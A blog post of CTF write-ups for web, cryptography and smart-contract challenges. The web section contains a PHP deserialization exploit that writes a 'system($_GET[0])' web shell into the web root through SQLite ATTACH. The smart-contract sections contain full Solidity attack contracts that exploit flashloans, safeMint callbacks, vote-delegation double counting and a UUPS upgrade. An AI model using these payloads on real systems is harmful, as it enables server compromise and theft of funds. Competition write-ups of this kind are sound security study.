I participated as rkm0959_test and somehow got 10th place. Initially wanted to take a brief look at the cryptography challs, ended up calling two friends and managed to clinch finals. Not sure if I'll be over there, though. Need to decide... Brief writeups, as I'm tired.

 

For the challenges, see https://hackmd.io/@y011d4/rJfWwERTj

 

Also need to upsolve the cryptography challenges. A lot of stuff to do...

 

Web - Blog

 

The solver tells me that there is a unserialize vulnerability in cookies, so change the db path of sqlite and create a php file.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
<?php
class Post {
    public $title;
    public $content;
    public $comments;
 
    public function __construct($title$content) {
        $this->title = $title;
        $this->content = $content;
    }
 
    public function __toString() {
        $comments = $this->comments;
        // comments are bugged for now, but in future it might be re-implemented
        // when it is, just append $comments_fallback to $out
        if ($comments !== null) {
            $comments_fallback = $this->$comments;
        }
 
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from posts where title = :title and content = :content",
            array(":title" => $this->title, ":content" => $this->content)
        ));
        $result = $conn();
        if ($result[0=== false) {
            return "";
        } else {
            return "
            <div class='card'> 
                <h3 class='card-header'>{$this->title}</h3>
                <div class='card-body'>
                    <p class='card-text'>{$this->content}</p>
                </div>
                <div class='card-footer'>
                    <input class='input-group-text' style='font-size: 12px;' disabled value='Commenting is disabled.' />
                </div>
            </div>
            ";
        }
    }
}
 
class User {
    public $profile;
    public $posts = array();
 
    public function __construct($username) {
        $this->profile = new Profile($username);
    }
 
    // get user profile
    public function get_profile() {
        // some dev apparently mixed up user and profile... 
        // so this check prevents any more errors
        if ($this->profile instanceof User) {
            return "@i_use_vscode please fix your code";
        } else {
            // quite unnecessary to assign to a variable imho
            $profile_string = "
            <div>{$this->profile}</div>
            ";
            return $profile_string;
        }
    }
 
    public function get_posts() {
        // check if we've already fetched posts before to save some overhead
        // (our poor sqlite db is dying)
        if (sizeof($this->posts) !== 0) {
            return "Please reload the page to fetch your posts from the database";
        }
 
        // get all user posts
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select title, content from posts where user = :user",
            array(":user" => $this->profile->username)
        ));
 
        // get posts from database
        $result = $conn();
        if ($result[0!== false) {
            while ($row = $result[0]->fetchArray(1)) {
                $this->posts[] = new Post($row["title"], $row["content"]);
            }
        }
 
        // build the return string
        $out = "";
        foreach ($this->posts as $post) {
            $out .= $post;
        }
        return $out;
    }
 
    // who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual)
    public function __toString() {
        $profile = $this->profile;
        return $profile();
    }
}
 
class Profile {
    public $username;
    public $picture_path = "images/real_programmers.png";
 
    public function __construct($username) {
        $this->username = $username;
    }
 
    // hotfix for @i_use_vscode (see line 97)
    // when removed, please remove this as well
    public function __invoke() {
        if (gettype($this->picture_path) !== "string") {        
            return "<script>window.location = '/login.php'</script>";
        }
 
        $picture = base64_encode(file_get_contents($this->picture_path));
 
        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0=== false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
 
    // this is the correct implementation :facepalm:
    public function __toString() {
        if (gettype($this->picture_path) !== "string") {        
            return "";
        }
 
        $picture = base64_encode(file_get_contents($this->picture_path));
 
        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0=== false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
}
 
 
class Conn {
    public $queries;
 
    // old legacy code - idk what it does but not touching it...
    public function __invoke() {
        $conn = new SQLite3("/sqlite3/db");
        $result = array();
 
        // on second thought, whoever wrote this is a genius
        // its gotta be @i_use_neovim
        foreach ($this->queries as $query) {
            if (gettype($query->query_string) !== "string") {
                return "Invalid query.";
            }
            $stmt = $conn->prepare($query->query_string);
            foreach ($query->args as $param => $value) {
                if (gettype($value=== "string" || gettype($value=== "integer") {
                    $stmt->bindValue($param$value);
                } else {
                    $stmt->bindValue($param"");
                }
            }
            $result[] = $stmt->execute();
        }
 
        return $result;
    }
}
 
class Query {
    public $query_string = "";
    public $args;
 
    public function __construct($query_string$args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }
 
    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}
 
$conn = new Conn;
$conn->queries = array(new Query(
    "attach database '/var/www/html/2ji1234312.php' as lol",
    array()
),new Query(
    "create table lol.pwn (dataz text)",
    array()
),new Query(
    "insert into lol.pwn (dataz) values ('1234<? system(\$_GET[0]);?>')",
    array()
));
 
// $conn->queries = array(new Query(
//     ".clone /var/www/html/ji1234312.php",
//     array()
// ));
 
 
 
$data = "Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJxd2VycWEyIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6Mjc6ImltYWdlcy9yZWFsX3Byb2dyYW1tZXJzLnBuZyI7fXM6NToicG9zdHMiO2E6MDp7fX0=";
$user = unserialize(base64_decode($data));
 
echo var_dump($user);
 
// $user->profile->picture_path = "/sqlite3/db";
// $user->profile = $conn;
$user->profile->username = unserialize(base64_decode($data));
// $user->profile = "phpinfo";
$user->profile->username->profile="phpinfo";
$user->profile->username->profile=$conn;
echo var_dump($user);
echo base64_encode(serialize(($user)));
cs

 

Crypto - d_phi_enc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import bytes_to_long, getStrongPrime
 
from secret import flag
 
assert len(flag) == 255
= 3
= getStrongPrime(1024, e=e)
= getStrongPrime(1024, e=e)
= p * q
phi = (p - 1* (q - 1)
= pow(e, -1, phi)
enc_d = pow(d, e, n)
enc_phi = pow(phi, e, n)
enc_flag = pow(bytes_to_long(flag), e, n)
print(f"{n = }")
print(f"{enc_d = }")
print(f"{enc_phi = }")
print(f"{enc_flag = }")
 
cs

 

You are given $d^3 \pmod{n}$ and $\phi^3 \pmod{n}$, with RSA parameters where $e=3$. 

Since $3d = 1 + \phi$ or $3d = 1 + 2 \phi$, we essentially have two polynomial equations on $d$. GCD works.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def GCD(f, g, n):
    g = g % f
    if g == 0:
        return f
    t = g.lc()
    if gcd(t, n) != 1:
        print(t)
        exit()
    tt = inverse_mod(Integer(t), n)
    g = g * tt
    return GCD(g, f, n)
 
 
# 3d = phi + 1
# 3d = 2phi + 1
 
PR = PolynomialRing(Zmod(n), 'x')
= PR.gen()
 
= x * x * x - Zmod(n)(enc_d)
= (3 * x - 1** 3 - Zmod(n)(enc_phi)
 
= (3 * x - 1** 3 - Zmod(n)(enc_phi) * 8
 
 
print(GCD(f, g, n))
print(GCD(f, h, n))
cs

 

Crypto - kaitzensushi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from math import gcd
from Crypto.Util.number import bytes_to_long, isPrime
 
from secret import p, q, x1, y1, x2, y2, e, flag
 
# properties of secret variables
assert isPrime(p) and p.bit_length() == 768
assert isPrime(q) and q.bit_length() == 768
assert isPrime(e) and e.bit_length() == 256
assert gcd((p - 1* (q - 1), e) == 1
assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1 ** 2 + e * y1 ** 2 == p * q
assert x2 ** 2 + e * y2 ** 2 == p * q
 
# encrypt flag by RSA, with xor
= p * q
= pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n)
print(f"{n = }")
print(f"{c = }")
 
# hints 🍣
= RealField(1337)
= vector(F, [x1, x2])
= vector(F, [y1, y2])
# rotate
theta = F.random_element(min=-pi, max=pi)
= matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]])
= R * x
= R * y
print(f"{x = }")
print(f"{y = }")
 
cs

 

There are a lot of stuff to process. First, as $R$ is a rotation matrix, you can compute $x_1^2 + x_2^2$ and $y_1^2 + y_2^2$. However, due to the precision, only the integer value of $y_1^2 + y_2^2$ can be computed exactly, and the value of $x_1^2 + x_2^2$ has a bit of an error range. However, as we have $$(x_1^2 + x_2^2) + e (y_1^2 + y_2^2) = 2n$$ we can do some basic bounding to recover $e$ and the actual value of $x_1^2 + x_2^2$ as well. 

 

You can also compute the rough values of $x_1y_1 + x_2y_2$ as this is the inner product of the two values, which doesn't change under rotation. Similar for $x_1y_2 - x_2y_1$. However, there are some precision issues which lead to the exact computation of these two values difficult.

 

To overcome this, we use the equation $$(x_1y_1+x_2y_2)^2 + (x_1y_2 - x_2y_1)^2 = (x_1^2+ x_2^2)(y_1^2+y_2^2)$$ which we know the precise value of. With this equation, some standard lattice tricks with some more bounding can recover the exact value of $x_1y_1 + x_2y_2$ and $x_1 y_2 - x_2y_1$. Now one can recover the full values of $x_1, x_2, y_1, y_2$ algebraically - I just did some resultants stuff over $\mathbb{F}_p$ for some random large $p$, but other methods will work. Now it suffices to factor $n$. 

 

Here, we note that $$(x_1/y_1)^2 + e \equiv (x_2/y_2)^2 + e \equiv 0 \pmod{n}$$ so one can hope that $x_1/y_1$ and $x_2/y_2$ differ in one of $\pmod{p}$ and $\pmod{q}$, so usual GCD tricks work. This happens to be the case.

 

exploit is at https://github.com/rkm0959/Cryptography_Writeups/tree/main/2023/HTMCTF 

 

Crypto - broken oracle

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/local/bin/python3
"""
implementation of https://www.cs.umd.edu/~gasarch/TOPICS/miscrypto/rabinwithrecip.pdf
"""
import os
import random
from dataclasses import dataclass
from math import gcd
from typing import List, Tuple
 
import gmpy2
from Crypto.Util.number import bytes_to_long, getPrime
 
from secret import flag
 
 
@dataclass
class Pubkey:
    n: int
    c: int
 
 
@dataclass
class Privkey:
    p: int
    q: int
 
 
@dataclass
class Enc:
    r: int
    s: int
    t: int
 
    def __repr__(self-> str:
        return f"r = {self.r}\ns = {self.s}\nt = {self.t}"
 
 
def crt(r1: int, n1: int, r2: int, n2: int-> int:
    g, x, y = gmpy2.gcdext(n1, n2)
    assert g == 1
    return int((n1 * x * r2 + n2 * y * r1) % (n1 * n2))
 
 
def gen_prime(pbits: int-> int:
    p = getPrime(pbits)
    while True:
        if p % 4 == 3:
            return p
        p = getPrime(pbits)
 
 
def genkey(pbits: int-> Tuple[Pubkey, Privkey]:
    p, q = gen_prime(pbits), gen_prime(pbits)
    n = p * q
    c = random.randint(0, n - 1)
    while True:
        if gmpy2.jacobi(c, p) == -1 and gmpy2.jacobi(c, q) == -1:
            break
        c = random.randint(0, n - 1)
    pubkey = Pubkey(n=n, c=c)
    privkey = Privkey(p=p, q=q)
    return pubkey, privkey
 
 
def encrypt(m: int, pub: Pubkey) -> Enc:
    assert 0 < m < pub.n
    assert gcd(m, pub.n) == 1
    r = int((m + pub.c * pow(m, -1, pub.n)) % pub.n)
    s = int(gmpy2.jacobi(m, pub.n))
    t = int(pub.c * pow(m, -1, pub.n) % pub.n < m)
    enc = Enc(r=r, s=s, t=t)
    assert s in [1-1]
    assert t in [01]
    return enc
 
 
def solve_quad(r: int, c: int, p: int-> Tuple[intint]:
    """
    Solve x^2 - r * x + c = 0 mod p
    See chapter 5.
    """
 
    def mod(poly: List[int]) -> None:
        """
        Calculate mod x^2 - r * x + c (inplace)
        """
        assert len(poly) == 3
        if poly[2== 0:
            return
        poly[1+= poly[2* r
        poly[1] %= p
        poly[0-= poly[2* c
        poly[0] %= p
        poly[2= 0
 
    def prod(poly1: List[int], poly2: List[int]) -> List[int]:
        """
        Calculate poly1 * poly2 mod x^2 - r * x + c
        """
        assert len(poly1) == 3 and len(poly2) == 3
        assert poly1[2== 0 and poly2[2== 0
        res = [
            poly1[0* poly2[0] % p,
            (poly1[1* poly2[0+ poly1[0* poly2[1]) % p,
            poly1[1* poly2[1] % p,
        ]
        mod(res)
        assert res[2== 0
        return res
 
    # calculate x^exp mod (x^2 - r * x + c) in GF(p)
    exp = (p - 1// 2
    res_poly = [100]  # = 1
    cur_poly = [010]  # = x
    while True:
        if exp % 2 == 1:
            res_poly = prod(res_poly, cur_poly)
        exp //= 2
        if exp == 0:
            break
        cur_poly = prod(cur_poly, cur_poly)
 
    # I think the last equation in chapter 5 should be x^{(p-1)/2}-1 mod (x^2 - Ex + c)
    # (This change is not related to vulnerability as far as I know)
    a1 = -(res_poly[0- 1* pow(res_poly[1], -1, p) % p
    a2 = (r - a1) % p
    return a1, a2
 
 
def decrypt(enc: Enc, pub: Pubkey, priv: Privkey) -> int:
    assert 0 <= enc.r < pub.n
    assert enc.s in [1-1]
    assert enc.t in [01]
    mps = solve_quad(enc.r, pub.c, priv.p)
    mqs = solve_quad(enc.r, pub.c, priv.q)
    ms = []
    for mp in mps:
        for mq in mqs:
            m = crt(mp, priv.p, mq, priv.q)
            if gmpy2.jacobi(m, pub.n) == enc.s:
                ms.append(m)
    assert len(ms) == 2
    m1, m2 = ms
    if m1 < m2:
        m1, m2 = m2, m1
    if enc.t == 1:
        m = m1
    elif enc.t == 0:
        m = m2
    else:
        raise ValueError
    return m
 
 
if __name__ == "__main__":
    pbits = 1024
    pub, priv = genkey(pbits)
    while len(flag) < 255:
        flag += os.urandom(1)
    enc_flag = encrypt(bytes_to_long(flag), pub)
    print("encrypted flag:")
    print(enc_flag)
    while True:
        try:
            r, s, t = map(int, input("r, s, t = ").split(","))
            enc = Enc(r=r, s=s, t=t)
            enc_dec_enc = encrypt(decrypt(enc, pub, priv), pub)
            print("decrypt(encrypt(input)):")
            print(enc_dec_enc)
        except Exception:
            print("Something wrong...")
 
cs

 

The clear issue here is that the decrypt function doesn't care if a solution to $x^2 - rx + c \equiv 0 \pmod{p}$ exists. 

In this case, the result of $x + c / x$ would not be once again equal to $r$, which will makes things interesting.

 

To dive further into this, let's send enc-dec queries of $(r_0, \{-1, 1\}, \{0, 1\})$ and see the results - we are more focused on the $r$ values of the result. We would think that all the $r$ values would be $r_0$, but some experimentation shows that it isn't the case - there are sometimes a single unique $r$ value, two unique $r$ values, or four unique $r$ values. Here, we ignore the error cases (asserts) as they are not needed.

 

The interesting case is where there are two unique $r$ values. In this case, the intuition is that $\pmod{p}$ side of the things worked out, but $\pmod{q}$ side didn't. So while $x + c / x$ values agree each other in $\pmod{p}$, it didn't on $\pmod{q}$.

In other words, the difference of the two $r$ values would be a multiple of $p$, but not $q$, a perfect scenario for GCD ideas. 

 

This allows us to get $n$. Try out various $r_0$ values, and if there are two unique $r$ values, collect the difference. For each pair of differences, take the GCD. If it is non-trivial, it would be a prime divisor of $n$. After enough collection we can recover both $p, q$. 

 

Now we need to get $c$. Here, we note that even when the $x^2 - rx + c \equiv 0 \pmod{p}$ didn't work out, the two returned solutions add up to $r$. This can be used to set up a two-variable, two-equation system over $\pmod{p}$, where one variable is $a_1$ of the solve_quad and the other is $c$. This can be solved easily via various methods. Since we have $p, q, n, c$ and the encrypted flag, the rest is easy.

 

exploit is in https://github.com/rkm0959/Cryptography_Writeups/blob/main/2023/HTMCTF/oracle.py 

 

Smart Contract - Dragon Slayer

Basically you need to get all the items and dunk on the dragon. There is a safeMint hook on the bank note, so that's a vector.

 

It turns out that split function, along with the safeMint hook, can be used as a flashloan. So just kill the dragon and return the loan.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
contract Attack{
 
    Setup public setup = Setup(0xe8ceEa61E72Dc3A1eb3298f8E59D72F17C1da827);
    Knight public knight;
    Bank public bankObj;
    GoldCoin public gcObj;
    Shop public shopObj;
    bool public claimed;
    uint256 public myTokenId = type(uint256).max;
 
 
    function run() public {
        knight = setup.knight();
        setup.claim();
 
        bankObj = knight.bank();
        gcObj = knight.goldCoin();
        shopObj = knight.shop();
 
        console.log("goldcoin address : %s", address(gcObj));
        console.log("bank address : %s", address(bankObj));
 
        console.log("my gold balance : %d", IERC20(gcObj).balanceOf(address(this)));
 
        console.log("address(this) : %s", address(this));
        console.log("knight contract owner : %s", knight.owner());
 
        uint256[] memory mergeArr = new uint256[](0);
        bankObj.merge(mergeArr);
 
        uint256 knightBalance = IERC20(gcObj).balanceOf(address(knight));
        knight.bankDeposit(knightBalance);
 
        console.log("bankNoteValues : %d", bankObj.bankNoteValues(1));
        knight.bankTransferPartial(2, knightBalance, 1);
 
        console.log("bankNoteValues after bankTransferPartial: %d", bankObj.bankNoteValues(1));
 
        uint256[] memory splitAmounts = new uint256[](2);
        splitAmounts[0= 2_000_000 ether;
        splitAmounts[1= 0;
        bankObj.split(1, splitAmounts);
    }
 
    uint256 public Counter = 0;
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata) external returns (bytes4) {
        if(myTokenId==type(uint256).max){
            myTokenId = tokenId;
            console.log("my receive first token's id : %d", tokenId);
            return this.onERC721Received.selector;
        }
        Counter+=1;
        if(Counter==2){
            bankObj.withdraw(myTokenId);
            console.log("my Balance : %d", IERC20(gcObj).balanceOf(address(this)));
            IERC20(gcObj).transfer(address(knight), IERC20(gcObj).balanceOf(address(this)));
            knight.buyItem(3);
            knight.buyItem(4);
            console.log("buyItem completed...");
 
            console.log("knight attack : %d", knight.attack());
            console.log("knight defence : %d", knight.defence());
            knight.fightDragon();
            knight.fightDragon();
            if(knight.health() > 0 && knight.dragon().health() == 0) {
                console.log("win!!!");
                knight.sellItem(3);
                knight.sellItem(4);
                knight.bankDeposit(IERC20(gcObj).balanceOf(address(knight)));
 
                knight.bankTransferPartial(tokenId+1, 2_000_000 ether - 10 ether, 1);
 
                console.log("bankNoteValues : %d", bankObj.bankNoteValues(1));
                console.log("isSolved-----");
                console.logBool(setup.isSolved());
            }
        }
        myTokenId = tokenId;
        return this.onERC721Received.selector;
    }
 
    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}
contract CounterScript is Script {
 
    function run() public {vm.startBroadcast();(new Attack()).run();}
}
cs

 

 

Smart Contract - Diamond Heist

Sushiswap delegation double spending bug + Flashloan + UUPSUpgrade to Attack Contract

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
contract Attack{
    SaltyPretzel s;
    address b;
    constructor(SaltyPretzel _s, address _b) {
        s = _s;
        b = _b;
        // s.delegate(msg.sender);
    }
    function go() external {
        s.delegate(b);
        s.transfer(msg.sender, 100 ether);
        selfdestruct(payable(address(this)));
    }
}
contract TVault is Initializable, UUPSUpgradeable, OwnableUpgradeable {
    uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
    Diamond diamond;
    SaltyPretzel saltyPretzel;
    function flashloan(address token, uint amount, address receiver) external {
        IERC20(token).transfer(receiver, amount);
    }
    function _authorizeUpgrade(address) internal override view {}
    function proxiableUUID() external view virtual override returns (bytes32){
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }
}
contract Attack2{
    Vault s;
    Diamond d;
    constructor(Vault _s, Diamond _d) {
        s = _s;
        d = _d;
    }
    function go() external {
        s.flashloan(address(d), 100, address(this));
    }
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        Vault(msg.sender).governanceCall(abi.encodeWithSelector(0x3659cfe6, address(new TVault())));
        // TVault(msg.sender).upgradeTo(address(new TVault()));
        d.transfer(msg.sender, 100);
    }
}
contract Jinu{
    SaltyPretzel s;
    address b;
    constructor(SaltyPretzel _s, address _b) {
        s = _s;
        b = _b;
        // s.delegate(msg.sender);
    }
    function go() external {
        for(uint i=0;i<10;i++){
            Attack a = new Attack(s, address(b));
            s.transfer(address(a), 100 ether);
            a.go();
            console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", s.getCurrentVotes(address(b))/1e18);
        }
        s.transfer(msg.sender, 100 ether);
        selfdestruct(payable(address(this)));
    }
}
contract ContractTest is Script {
    Setup setup;
    VaultFactory public vaultFactory;
    Vault public vault;
    Diamond public diamond;
    SaltyPretzel public saltyPretzel;
    function setUp() public {
        setup = new Setup();
        vaultFactory = setup.vaultFactory();
        vault = setup.vault();
        diamond = setup.diamond();
        saltyPretzel = setup.saltyPretzel();
    }
    function run() public {
        vm.startBroadcast();
        // setup = new Setup();
        setup = Setup(address(0x42490f6d111122F2cfa0E59c71E3D6C8dBA4016D));
        vaultFactory = setup.vaultFactory();
        vault = setup.vault();
        diamond = setup.diamond();
        saltyPretzel = setup.saltyPretzel();
        // // step 1
        // {
        //     // Attack2 b = new Attack2(vault, diamond);
        //     // setup.claim();
        //     Attack2 b = Attack2(0xf0a6BE5837d068BC30af969976F87B7660640a1c);
            
        //     console.log(address(b));
        //     console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
            
        //     // if(!setup.claimed()){
        //         // setup.claim();
        //     // }
        //     Jinu j = new Jinu(saltyPretzel, address(b));
            
        //     saltyPretzel.transfer(address(j), 100 ether);
        //     j.go();
        //     console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
        //     // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
        //     console.log(address(b));
        // }
        // // step 2
        {
            Attack2 b = Attack2(0xf0a6BE5837d068BC30af969976F87B7660640a1c);
            // saltyPretzel.delegate(address(b));
            console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
            b.go();
            vault.flashloan(address(diamond), 100, address(setup));
            // Attack a = new Attack(saltyPretzel);
            // saltyPretzel.transfer(address(a), 100 ether);
            // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
            // console.log("saltyPretzel.getCurrentVotes(address(a))/1e18: %d", saltyPretzel.getCurrentVotes(address(a))/1e18);
            // a.go();
            // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
            // console.log("saltyPretzel.getCurrentVotes(address(a))/1e18: %d", saltyPretzel.getCurrentVotes(address(a))/1e18);
            // console.log("Knight: %d", knight.health());
            // console.log("Dragon: %d", dragon.health());
            console.log(setup.isSolved());
        }
    }
}
cs

 

'CTF' 카테고리의 다른 글

CODEGATE 2023 Finals - The Leakers (1 solve)  (1) 2023.08.25
ACSC 2023 Writeups  (0) 2023.02.26
BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19